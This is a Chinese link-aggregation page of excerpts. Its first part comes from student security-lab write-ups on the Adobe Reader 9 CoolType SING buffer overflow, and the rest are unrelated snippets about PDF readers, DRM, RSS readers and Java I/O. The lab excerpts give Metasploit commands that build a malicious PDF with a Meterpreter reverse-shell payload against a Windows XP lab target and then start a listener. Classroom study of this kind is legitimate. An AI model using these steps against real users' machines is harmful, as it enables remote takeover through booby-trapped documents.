Metasploits之Adobe阅读器漏洞

【Metasploits之Adobe阅读器漏洞】的更多相关文章

Metasploits之Adobe阅读器漏洞

实验环境:Kali 2.0+Windows XP+Adobe Reader 9.3.0 类别:缓冲区溢出描述:这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出. msfconsole 启动Metasploits search cooltype_sing 搜索Adobe阅读器漏洞(adobe_cooltype_sing)相关模块 use exploit/windows/fileformat/adobe_cooltype_s…

20145322 Exp5 Adobe阅读器漏洞攻击

20145322 Exp5 Adobe阅读器漏洞攻击实验过程 IP:kali:192.168.1.102 windowsxp :192.168.1.119 msfconsole进入控制台使用命令为 use windows/fileformat/adobe_cooltype_sing进入攻击模块设置攻击载荷payloads ,命令为set payloads windows/meterpreter/reverse_http 使用命令show options来确定需要修改的参数. 使用命令exp…

20145333茹翔 Exp5 Adobe阅读器漏洞攻击

20145333茹翔 Exp5 Adobe阅读器漏洞攻击实验过程主机为kali的ip地址为:192.168.1.111.靶机windows xp 的ip地址为:192.168.1.110 使用命令msfconsole进入控制台根据自己的需求选择攻击模块,将其载入(这里选用windows/fileformat/adobe_cooltype_sing),可以使用info命令查看模块的基本信息,以及参数要求,使用命令为 use windows/fileformat/adobe_cooltype_…

20145335郝昊《网络攻防》Exp4 Adobe阅读器漏洞攻击

20145335郝昊<网络攻防>Exp4 Adobe阅读器漏洞攻击实验内容初步掌握平台matesploit的使用有了初步完成渗透操作的思路本次攻击对象为:windows xp sp3 / Adobe 9.3 主机为kali的ip地址为:192.168.199.220.靶机windows xp 的ip地址为:192.168.199.137 实验步骤使用命令msfconsole进入控制台根据自己的需求选择攻击模块,将其载入(这里选用windows/fileformat/adobe_co…

Adobe阅读器漏洞(adobe_cooltype_sing)学习研究

实验环境:Kali 2.0+Windows XP sp3+Adobe Reader 9.0.0 类别:缓冲区溢出描述:这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出. 参考资料:<Metasploit魔鬼训练营>p286-p298 Adobe漏洞渗透过程: kali上使用windows/fileformat/adobe_cooltype_sing,载荷为windows/meterpreter/reverse_http…

Adobe阅读器渗透攻击

Adobe阅读器渗透攻击实验前准备 1.两台虚拟机,其中一台为kali,一台为windows xp sp3(老师给的xp虚拟机winxpAttaker,密码:mima1234). 2.设置虚拟机网络为NAT模式,保证两台虚拟机可以ping通. 3.kali下打开显示隐藏文件,如下图,先打开主文件夹,在右上角打开如下图所示位置: 实验步骤: 1.在kali终端中开启msfconsole. 2.输入命令use exploit/windows/fileformat/adobe_cooltype_si…

20145211《网络渗透》Adobe阅读器渗透攻击

20145211<网络渗透>Adobe阅读器渗透攻击实验准备 1.用了一个kali,一个English Winxp3,并保证能相互ping通 2.开启显示隐藏文件实验步骤: 1.开启msfconsole. 2.使用漏洞use exploit/windows/fileformat/adobe_cooltype_sing,进入该漏洞模块的使用. 3.使用攻击载荷 windows/meterpreter/reverse_tcp设置攻击有效载荷. 4.查看参数,并配置,生成hzy.pdf,将pdf…

20145319 《网络渗透》Adobe阅读器渗透攻击

20145319 <网络渗透>Adobe阅读器渗透攻击一实验内容初步掌握平台matesploit的使用有了初步完成渗透操作的思路本次攻击对象:windows xp sp3 Adobe 9.3 二实验步骤按照我们平常使用matesploit的思路,进入msfconsole控制台之后,首先要确定我们应该使用怎样的攻击模块来完成渗透根据自己的需求选择攻击模块,将其载入(这里选用windows/fileformat/adobe_cooltype_sing),可以使用info命令查看模…

20145329 《网络对抗技术》客户端Adobe阅读器渗透攻击

两台虚拟机: kali ip:192.168.96.130 windows xp sp3 ip:192.168.96.133 1.kali下打开显示隐藏文件 2.在kali终端中开启msfconsole. 3.进入该漏洞模块并设置攻击有效载荷 4.查看需要需要设置的数据,并设置相应的参数 5.查看设置的参数信息 6.打开exploit生成渗透攻击的pdf文件 7.将渗透文件发送到靶机,使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块. 8.使…

js判断ie和edge是否安装Adobe Reader PDF阅读器

ie浏览器和edge浏览器,必须用Adobe Reader PDF阅读器才可以打开pdf文件,其他现代浏览器自带pdf阅读器,无需安装. 判断ie或者edge如果安装了,就浏览pdf文件:如果没安装就给出安装软件,让他下载. <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> <script src="jquery…

Silverlight类百度文库在线文档阅读器

百度文库阅读器是基于Flash的,用Silverlight其实也可以做. 我实现的在线阅读器可以应用于内网文档发布,在线阅览审批等.没有过多的堆积功能,专注于核心功能.主要有以下特性: 1. 基于XPS文档 Flash和Pdf都是Adobe的东西,所以用Flash浏览PDF可能比较容易.而用silverlight浏览PDF就不那么容易了,相反如果阅读同样是微软推出的XPS文档就简单的多.因为XPS和Silverlight其实都是基于XAML的.其他格式例如Word,Excel,PDF等都可以先…

Linux下pdf阅读器推荐

由于需要在pdf文件上做标记,所以自带的文档查看器根本满足了需求,之前去网上查了查,Okular评价挺高,就安装了一个,确实能基本满足我的需求,但是 1.界面感觉还是不太友好,书签栏一直在那. 2.而且,由于很多pdf都是在windows上做的整理,所以用Okular打开还可能会有一些乱码. 想起自己前几天在foxi官网上看到了linux版,果断决定弃用Okular,因为,自己windows系统用的就是foxit reader,linux能用同样的软件当然更好,毕竟界面熟悉,操作也基本差不多,重…

福昕阅读器drm加密解密总结

drm是数字版权保护的一种方式,前一段时间在做四川文轩数字图书馆项目的时候用到了相关的知识,感觉这东西对于一些在线阅读和视频播放还是有很大用处的. 对于其工作原理我也很好奇,先摘抄度娘的内容如下,当然你也可以直接访问度娘:http://baike.baidu.com/view/47310.htm?fr=aladdin DRM技术的工作原理是,首先建立数字节目授权中心.编码压缩后的数字节目内容,可以利用密钥(Key)进行加密保护(lock),加密的数字节目头部存放着KeyID和节目授权中心的URL…

7款Linux下阅读PDF的阅读器。

5款Linux下阅读PDF的阅读器.1. Mupdf:link 2. Adobe Reader:link 3. Foxit Reader:link 4.Evince:link 5. Okular:link(基于KDE) 6. zathura Zathura 是一款新的 PDF 查看器 ,它相当轻巧,界面简约(与 Apvlv 很相似),且可以定制(如按键绑定.默认窗口大小等 ).除了 PDF 查看器所具有的一般功能之外,Zathura 还包括搜索.表单编辑.可点击链接.导出图像等其他功能.和 Li…

Silverlight类百度文库在线文档阅读器（转）

百度文库阅读器是基于Flash的,用Silverlight其实也可以做. 我实现的在线阅读器可以应用于内网文档发布,在线阅览审批等.没有过多的堆积功能,专注于核心功能.主要有以下特性: 1. 基于XPS文档 Flash和Pdf都是Adobe的东西,所以用Flash浏览PDF可能比较容易.而用silverlight浏览PDF就不那么容易了,相反如果阅读同样是微软推出的XPS文档就简单的多.因为XPS和Silverlight其实都是基于XAML的.其他格式例如Word,Excel,PDF等都可以先…

Adobe9阅读器渗透攻击——20145301

Adobe9阅读器渗透攻击实验步骤: 在kali终端中开启msfconsole,输入命令use exploit/windows/fileformat/adobe_cooltype_sing,进入该漏洞模块的使用. 使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷. 输入命令show options显示我们需要在攻击前需要设置的属性输入命令输入exploit,生成pdf文件(在隐藏文件夹中/.msf/local/5301.pdf)…

Ubuntu安装Foxit PDF阅读器

最近使用Ubuntu自带的PDF阅读器,发现使用体验较差,打算安装FoxitReader(可能是我习惯了Foxit和Adobe) Foxit官网对系统平台要求如下:(支持Linux) 继续摸索了一下如何安装foxit阅读器,过程如下: Step1. 下载Linux版本安装包[官网链接在这里](也可点击此处百度云链接下载,提取码 65ky ) 下载之后得到:FoxitReader.enu.setup.2.4.4.0911.x64.run.tar.gz Step2. 执行如下代码安装即可 cd D…

PDF阅读器关闭“使用手型工具阅读文章”功能

1.问题描述某些PDF文件打开时,光标显示的手型工具里面有个箭头,一点击鼠标左键,就跳转到下一页了.给阅读带来很多不便. 2.原因因为这类PDF文档中带有"文章"(article),而PDF阅读器默认开启"使用手型工具阅读文章"功能.这一功能使得手型工具中出现箭头,并导致上述现象. 普通的没有文章的PDF文件,打开后不会出现这种现象. 3.解决方法 (1)确认文档中含有"文章". 以Adobe Reader和Adobe Acrobat为例,…

Atitit rss没落以及替代品在线阅读器

Atitit rss没落以及替代品在线阅读器 1.1. 对RSS的疯狂追逐,在2005年达到了一个高峰.1 1.2. Rss的问题,支持支rss,不支持url1 1.3. ,博客受到社交网络的冲击.sns 微博等2 1.4. Sns的问题,对于新闻等问题不大,果壳科普等网站也问题不大,但是对于普通的技术博客来说,很成问题3 1.5. Rss服务应对爬虫解决之道解决办法:提供RSS,但是内容欠奉. 摘要输出3 1.6. Rss的出路:::下一个增强的rss,支持url数据源3 1.7. 参考资料…

RSS阅读器

RSS阅读器(Really Simple Syndication)是一种软件/程序,实质都是为了方便地读取RSS和Atom文档.大概就是实现了订阅式阅读,推送用户感兴趣的新闻,博客等(比如等某位博主更博时会收到通知). 据说当下流行的RSS阅读器有Feedly,Newsify 和 Inoreader. feedly 感觉他们家的东西都好寡淡 APP 基本没看到啥彩色的说导入Ompl文件产品相关网页如下你能看得出来红框框里头是三个链接么??如果没有教程,真是都很难找到导入ompl文…

CozyRSS开发记录0-RSS阅读器开坑

CozyRSS开发记录0-RSS阅读器开坑 1.RSS RSS,全名是Really Simple Syndication,简易信息聚合. 关于RSS相关的介绍,网上可以很容易的找到.RSS阅读器是我几乎每天都用到的一个工具类软件,他的优点是: A.没有广告,只关注内容: B.可以轻松快捷的关注到一批博客和新闻网站的更新. RSS本身涉及到的技术点: A.XML,RSS使用XML来编写,它是XML的子集: B.HTTP,RSS的内容源通常是使用HTTP协议来提供的. 2.CozyRSS的目标初步…

Ubuntu 14.04 安装pdf阅读器

1. 个人推荐 okular. 关于安装okular的原因,可以很好的做到护眼功能. Ubuntu 14.04 自带的阅读器,因为白色太刺眼,长时间使用对眼睛不好. 对于,长时间编程的朋友们习惯夜间模式,黑色调的编程人员来说,自己可以配色是一件很棒的事情. 2. 关于安装安装方法也比较简单. sudo apt-get install okular 等待安装完成就好. 3.安装完成将其设置为默认 pdf 打开方式. 选择任意一个 pdf 文件,右键 -> Propertles -> Open…

Java网络编程之流——流、过滤器、阅读器和书写器

Java的I/O建立于流(Stream)之上.输入流读取数据:输出流写入数据.所有的输出流都有相同的基本方法来写入数据,所有输入流也使用相同的基本方法来读取数据.在创建流之后,你通常可以忽略在读写时的具体细节. 过滤器(filer)流可以链接到输入流或输出流上.过滤器可以在读写时修改数据(例如,通过加密或压缩)或者只是提供额外的方法,将读写的数据转换为其他格式. 阅读器(reader)和书写器(writer)可以链接到输入流和输出流上,允许读写文本(即字符)而不是字节.只要正确地使用,阅读器和书…